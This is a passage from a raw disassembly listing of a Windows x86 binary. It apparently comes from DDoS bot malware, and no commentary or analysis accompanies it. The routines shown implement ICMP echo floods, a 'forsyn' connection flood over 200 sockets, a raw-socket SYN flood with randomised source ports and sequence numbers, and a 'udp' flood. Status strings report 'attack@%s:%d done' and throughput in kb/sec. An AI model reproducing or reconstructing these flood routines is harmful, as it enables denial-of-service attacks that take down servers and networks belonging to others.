		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4266A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426820	proc near		; CODE XREF: sub_401E7Ej

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_436840
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27C0890h
		mov	esi, eax
		test	esi, esi
		jz	short loc_42688A
		mov	edi, dword_50F8A0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_50E140, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_50E144, eax
		call	edi
		mov	ecx, dword_50E140
		mov	dword_50E13C, eax
		test	ecx, ecx
		jz	short loc_42688A
		mov	edx, dword_50E144
		test	edx, edx
		jz	short loc_42688A
		test	eax, eax
		jz	short loc_42688A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426895


loc_42688A:				; CODE XREF: sub_426820+1Bj
					; sub_426820+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426895:				; CODE XREF: sub_426820+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_4268AC
		mov	[esp+24h+arg_FFE8], eax


loc_4268AC:				; CODE XREF: sub_426820+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_4268BF
		mov	ebp, 1


loc_4268BF:				; CODE XREF: sub_426820+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_426904


loc_4268D0:				; CODE XREF: sub_426820+E2j
		mov	al, byte_4D64E9
		test	al, al
		jz	short loc_426904
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_50E13C	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_4268D0


loc_426904:				; CODE XREF: sub_426820+AEj
					; sub_426820+B7j
		push	edi
		call	dword_50E144	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_426820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426960	proc near		; CODE XREF: sub_40182Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E7E
		add	esp, 14h
		retn
sub_426960	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401BC7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4269A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0FC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426A10:				; CODE XREF: ___:00401A19j
					; ___:loc_401AAFj
		push	esi
		mov	esi, ecx
		call	sub_4017FD
		test	byte ptr [esp+8], 1
		jz	short loc_426A28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426A28:				; CODE XREF: ___:00426A1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426A40	proc near		; CODE XREF: sub_4017FDj
		jmp	sub_4014C4
sub_426A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A60	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E5DBF
		mov	[esp+2Ch+var_28], eax


loc_426A86:				; CODE XREF: sub_426A60+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426A97
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E671F
		jl	short loc_426A86


loc_426A97:				; CODE XREF: sub_426A60+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426C49
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E5D4Bh[eax*8]
		call	sub_4017E4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		call	near ptr 71AB2B66h
		nop
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426B00
		mov	dword ptr [ebp+68h], 5


loc_426B00:				; CODE XREF: sub_426A60+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_50E14C
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_50E34C
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		call	near ptr 2770000h
		nop
		test	eax, eax
		mov	dword_50E350, eax
		jz	short loc_426B9B
		push	offset dword_446F64
		push	5
		push	eax
		push	0
		push	offset dword_50E14C
		call	sub_4013E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426BCB
; ---------------------------------------------------------------------------


loc_426B9B:				; CODE XREF: sub_426A60+11Dj
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_426BCB:				; CODE XREF: sub_426A60+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_401424
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_426C49:				; CODE XREF: sub_426A60+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426A60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426CE0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E5D4Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426D76
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_426D6F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6765[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_426D6F:				; CODE XREF: sub_426CE0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_426D76:				; CODE XREF: sub_426CE0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_426E26
		mov	ebx, dword_50FC30


loc_426D95:				; CODE XREF: sub_426CE0+140j
		mov	al, byte_4D64E9
		test	al, al
		jz	loc_426E26
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DAB:				; CODE XREF: sub_426CE0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_426DCB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_426DCB:				; CODE XREF: sub_426CE0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_426DAB
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DDA:				; CODE XREF: sub_426CE0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_426DDA
		mov	ecx, [ebp+68h]
		push	ecx
		call	near ptr 2811E0Eh
		nop
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E03:				; CODE XREF: sub_426CE0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_426E03
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_426D95


loc_426E26:				; CODE XREF: sub_426CE0+A9j
					; sub_426CE0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6765[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_426CE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426EB0	proc near		; CODE XREF: sub_401DD9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426EB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E10C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426EB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F20	proc near		; CODE XREF: ___:004016DBj sub_40181Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_426F38
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426F38:				; CODE XREF: sub_426F20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426F20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426F50	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014C4
sub_426F50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426F70	proc near		; CODE XREF: sub_401E92j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426F70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401DB6
sub_426F70	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4270E0	proc near		; CODE XREF: sub_401BB3j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021A3
sub_4270E0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_427171
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427171:				; CODE XREF: ___:00427151j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		call	near ptr 71AB8769h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_4271A4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271A4:				; CODE XREF: ___:00427195j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4271C7


loc_4271BA:				; CODE XREF: ___:0042736Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271C7:				; CODE XREF: ___:004271B8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_50FC2C
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 27D0802h
		mov	[esp+48h], eax
		mov	al, byte_4D64E9
		test	al, al
		jz	loc_42741B
		mov	ebx, dword_50FABC
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_427265
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_427265:				; CODE XREF: ___:00427261j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A28
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A28
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4271BA
		nop
		call	near ptr 27D0802h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_427417
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4273B9
		push	2710h
		push	3E8h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4273B9:				; CODE XREF: ___:0042739Ej
		push	0FFh
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 0AA04E890h, 0E9A0023Eh
		dd 84004D64h, 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_427417:				; CODE XREF: ___:00427396j
		mov	edi, [esp+18h]


loc_42741B:				; CODE XREF: ___:0042724Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427520	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40187F
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_427541
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_427541:				; CODE XREF: sub_427520+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BB3
sub_427520	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427590	proc near		; CODE XREF: sub_401785j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E11C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427590	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427600	proc near		; CODE XREF: ___:004014ECj sub_40222Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_427618
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427618:				; CODE XREF: sub_427600+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427630	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014C4
sub_427630	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427650	proc near		; CODE XREF: sub_401A05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401730
		add	esp, 14h
		test	eax, eax
		jz	short loc_42771E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_42771E:				; CODE XREF: sub_427650+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427650	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277C0	proc near		; CODE XREF: sub_401730j

var_36		= word ptr -36h
